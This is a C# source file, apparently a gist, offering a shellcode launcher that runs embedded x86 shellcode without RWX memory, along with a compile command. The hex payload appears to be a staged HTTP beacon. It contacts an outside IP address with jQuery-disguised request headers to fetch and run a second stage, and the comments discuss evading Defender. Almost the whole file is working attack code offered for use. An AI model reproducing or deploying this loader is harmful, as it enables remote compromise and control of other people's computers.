C# shellcode launcher without using RWX memory

sc_launcher_norwx.cs

// Execute shellcode without using RWX memory
// Will get caught by Defender as-is
// Compile:  C:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:sclaunch-norwx.exe /unsafe /platform:x86 .\sc_launcher_norwx.cs

using System;
using System.Runtime.InteropServices;


namespace ShellCodeLauncher
{
    class Program
    {
        static void Main()
        {
            byte[] shellcode = new byte[796] { 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x68, 0x6e, 0x65, 0x74, 0x00, 0x68, 0x77, 0x69, 0x6e, 0x69, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 0x57, 0x68, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xe9, 0x84, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xc9, 0x51, 0x51, 0x6a, 0x03, 0x51, 0x51, 0x68, 0x50, 0x00, 0x00, 0x00, 0x53, 0x50, 0x68, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x70, 0x5b, 0x31, 0xd2, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x52, 0x53, 0x52, 0x50, 0x68, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x89, 0xc6, 0x83, 0xc3, 0x50, 0x31, 0xff, 0x57, 0x57, 0x6a, 0xff, 0x53, 0x56, 0x68, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x84, 0xc3, 0x01, 0x00, 0x00, 0x31, 0xff, 0x85, 0xf6, 0x74, 0x04, 0x89, 0xf9, 0xeb, 0x09, 0x68, 0xaa, 0xc5, 0xe2, 0x5d, 0xff, 0xd5, 0x89, 0xc1, 0x68, 0x45, 0x21, 0x5e, 0x31, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x6a, 0x07, 0x51, 0x56, 0x50, 0x68, 0xb7, 0x57, 0xe0, 0x0b, 0xff, 0xd5, 0xbf, 0x00, 0x2f, 0x00, 0x00, 0x39, 0xc7, 0x74, 0xb7, 0x31, 0xff, 0xe9, 0x91, 0x01, 0x00, 0x00, 0xe9, 0xc9, 0x01, 0x00, 0x00, 0xe8, 0x8b, 0xff, 0xff, 0xff, 0x2f, 0x6a, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2d, 0x33, 0x2e, 0x33, 0x2e, 0x31, 0x2e, 0x73, 0x6c, 0x69, 0x6d, 0x2e, 0x6d, 0x69, 0x6e, 0x2e, 0x6a, 0x73, 0x00, 0x17, 0x6c, 0xa4, 0x11, 0xef, 0x95, 0xda, 0x67, 0x14, 0x14, 0xfb, 0x12, 0x8c, 0x4e, 0xbb, 0xe6, 0x31, 0x69, 0xd8, 0x0c, 0x80, 0x81, 0x9a, 0xaa, 0x28, 0xad, 0x70, 0x67, 0x75, 0x97, 0xd7, 0xb9, 0xdd, 0xbd, 0x69, 0xca, 0x63, 0xdc, 0x5e, 0x4d, 0x2a, 0x22, 0x83, 0x5c, 0x76, 0xf2, 0xea, 0x78, 0x08, 0x3a, 0x40, 0x0a, 0x2d, 0x00, 0x41, 0x63, 0x63, 0x65, 0x70, 0x74, 0x3a, 0x20, 0x74, 0x65, 0x78, 0x74, 0x2f, 0x68, 0x74, 0x6d, 0x6c, 0x2c, 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x78, 0x68, 0x74, 0x6d, 0x6c, 0x2b, 0x78, 0x6d, 0x6c, 0x2c, 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x78, 0x6d, 0x6c, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x39, 0x2c, 0x2a, 0x2f, 0x2a, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x38, 0x0d, 0x0a, 0x41, 0x63, 0x63, 0x65, 0x70, 0x74, 0x2d, 0x4c, 0x61, 0x6e, 0x67, 0x75, 0x61, 0x67, 0x65, 0x3a, 0x20, 0x65, 0x6e, 0x2d, 0x55, 0x53, 0x2c, 0x65, 0x6e, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x35, 0x0d, 0x0a, 0x48, 0x6f, 0x73, 0x74, 0x3a, 0x20, 0x63, 0x6f, 0x64, 0x65, 0x2e, 0x6a, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6d, 0x0d, 0x0a, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x2e, 0x6a, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x0d, 0x0a, 0x41, 0x63, 0x63, 0x65, 0x70, 0x74, 0x2d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x3a, 0x20, 0x67, 0x7a, 0x69, 0x70, 0x2c, 0x20, 0x64, 0x65, 0x66, 0x6c, 0x61, 0x74, 0x65, 0x0d, 0x0a, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x33, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x37, 0x2e, 0x30, 0x3b, 0x20, 0x72, 0x76, 0x3a, 0x31, 0x31, 0x2e, 0x30, 0x29, 0x20, 0x6c, 0x69, 0x6b, 0x65, 0x20, 0x47, 0x65, 0x63, 0x6b, 0x6f, 0x0d, 0x0a, 0x00, 0xce, 0xf2, 0xef, 0xea, 0xa6, 0x4e, 0x1b, 0x0b, 0xd1, 0x86, 0x12, 0x32, 0x9c, 0x90, 0xea, 0x7b, 0x21, 0xc0, 0x44, 0x5d, 0x32, 0xf0, 0x14, 0x4f, 0x89, 0x45, 0xf2, 0xf4, 0x5c, 0xab, 0xe7, 0x26, 0x00, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x00, 0x40, 0x00, 0x57, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0xb9, 0xaf, 0x0f, 0x00, 0x00, 0x01, 0xd9, 0x51, 0x53, 0x89, 0xe7, 0x57, 0x68, 0x00, 0x20, 0x00, 0x00, 0x53, 0x56, 0x68, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0xc6, 0x8b, 0x07, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xe5, 0x58, 0xc3, 0xe8, 0xa9, 0xfd, 0xff, 0xff, 0x31, 0x30, 0x2e, 0x32, 0x31, 0x31, 0x2e, 0x35, 0x35, 0x2e, 0x34, 0x00, 0x11, 0xb9, 0xa8, 0xda };



            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                                MEM_COMMIT, PAGE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            uint oldprotection;
            VirtualProtect((IntPtr)(funcAddr), shellcode.Length, PAGE_EXECUTE, out oldprotection);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data


            IntPtr pinfo = IntPtr.Zero;

            // execute native code

            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static UInt32 MEM_COMMIT = 0x1000;

        private static UInt32 PAGE_READWRITE = 0x04;

        private static UInt32 PAGE_EXECUTE = 0x10;

        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);


        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(

          UInt32 lpThreadAttributes,
          UInt32 dwStackSize,
          UInt32 lpStartAddress,
          IntPtr param,
          UInt32 dwCreationFlags,
          ref UInt32 lpThreadId

          );

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(

          IntPtr hHandle,
          UInt32 dwMilliseconds
          );
    }
}